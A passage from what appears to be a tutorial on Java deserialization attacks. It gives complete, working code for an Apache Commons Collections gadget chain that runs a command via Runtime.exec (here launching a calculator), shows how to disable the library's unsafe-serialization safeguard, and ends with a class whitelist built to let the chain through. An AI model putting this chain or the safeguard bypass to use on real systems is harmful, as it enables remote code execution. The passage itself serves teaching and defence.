            // set HashBag’s underlying HashMap table’s first entry’s KEY to be our TiedMapEntry
            Map internalMap = (Map) Whitebox.getInternalState(hashBag, "map");
            Object[] nodesArray = (Object[]) Whitebox.getInternalState(internalMap, "table");
            Object node = Arrays.stream(nodesArray)
                    .filter(Objects::nonNull)
                    .findFirst()
                    .orElseThrow(() -> new RuntimeException("this can't happen"));

            Whitebox.setInternalState(node, "key", tidemapentry);

            String fileName = "bad_serialized_object.ser";
            // serializing an object
            FileOutputStream fout = new FileOutputStream(fileName);
            ObjectOutputStream oout = new ObjectOutputStream(fout);
            oout.writeObject(hashBag);   // actual serialization
            oout.close();
            fout.close();
            System.out.println("\nThe object was written to " + fileName);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

However, the above code does not produce the serialized object properly.

It throws java.lang.UnsupportedOperationException.

1
2
3
4
5
6
7
8

[SNIPPED]
java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
    at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
    at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)

[SNIPPED]

By default, serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled.

1
2
3
4

// enable the support in both producer and consumer programs to serialize / deserialize the object without any exception
System.setProperty(
                    "org.apache.commons.collections.enableUnsafeSerialization",
                    "true");

Final Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.bag.HashBag;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.mockito.internal.util.reflection.Whitebox;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;

public class Concept14 {
    public static void main(String[] args) {
        try {
             // set the System.setProperty()
            System.setProperty(
                    "org.apache.commons.collections.enableUnsafeSerialization",
                    "true");
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new String[]{"/usr/bin/gnome-calculator"}),
            };

            Transformer chainedTransformer = new ChainedTransformer(transformers);

            Map hashMap = new HashMap();
            Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  // called => chainedTransformer.transform()

            String key = "invalid_key";

            // Create a TiedMapEntry with the underlying hashmap as our `lazyMap` and invalid_key
            TiedMapEntry tidemapentry = new TiedMapEntry(lazyMap, key);
            HashBag hashBag = new HashBag();

            hashBag.add(new Object());

            // set HashBag’s underlying HashMap table’s first entry’s KEY to be our TiedMapEntry
            Map internalMap = (Map) Whitebox.getInternalState(hashBag, "map");
            Object[] nodesArray = (Object[]) Whitebox.getInternalState(internalMap, "table");
            Object node = Arrays.stream(nodesArray)
                    .filter(Objects::nonNull)
                    .findFirst()
                    .orElseThrow(() -> new RuntimeException("this can't happen"));

            Whitebox.setInternalState(node, "key", tidemapentry);

            String fileName = "bad_serialized_object_concept13.ser";
            // serializing an object
            FileOutputStream fout = new FileOutputStream(fileName);
            ObjectOutputStream oout = new ObjectOutputStream(fout);
            oout.writeObject(hashBag);   // actual serialization
            oout.close();
            fout.close();
            System.out.println("\nThe object was written to " + fileName);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Video Walkthrough: Debugging the Deserialization Flow

Demystifying a Gadget Chain - Java Deserialization

Final Thoughts

If we fix our code and use the safeObjectInputStream during deserialization, then the following things happen while unwrapping the serialized object:

  1. First, it resolves the HashBag Class.
  2. Then it checks if that class is present inside the whitelist.
    • If that class IS_NOT_FOUND inside the whitelist, then it throws Exception.
    • We don’t have HashBag in our whitelist. So then we’ll get the Exception, and the attack won’t be successful.

However, if that class IS_FOUND inside the whitelist, then it tries to resolve the next wrapped class (in our case that is TiedMapEntry) and repeats step 2.

If all classes wrapped in the serialized object are present inside our whitelist, then the entire process won’t continue, and we can anticipate the calculator again.

whitelist the following classes to run calculator.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;

public class SafeDeserializeRCE {
    public static void main(String[] args) {
        try {
            System.setProperty(
                    "org.apache.commons.collections.enableUnsafeSerialization",
                    "true");

            // file name of the deserialized object
            String fname = "../Serialization/bad_serialized_object.ser";
            FileInputStream fin = new FileInputStream(fname);

            // whitelist all classes for RCE
            Set rce_whitelist = new HashSet<String>(Arrays.asList("org.apache.commons.collections.bag.HashBag",
                    "org.apache.commons.collections.keyvalue.TiedMapEntry",
                    "org.apache.commons.collections.map.LazyMap",
                    "org.apache.commons.collections.functors.ChainedTransformer",
                    "[Lorg.apache.commons.collections.Transformer;",
                    "org.apache.commons.collections.functors.ConstantTransformer",
                    "java.lang.Runtime",
                    "org.apache.commons.collections.functors.InvokerTransformer",
                    "[Ljava.lang.Object;",
                    "[Ljava.lang.Class;",
                    "java.lang.String",
                    "java.lang.Object",
                    "[Ljava.lang.String;",
                    "java.lang.Integer",
                    "java.lang.Number",
                    "java.util.HashMap"));

            ObjectInputStream oin = new SafeObjectInputStream(fin, rce_whitelist);

            // expecting a User type obj, actual deserialization happens here
            User a = (User) oin.readObject();
            oin.close();
            fin.close();
            System.out.println("\nThe object was read from " + fname + ":");
            System.out.println(a);
            System.out.println();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

References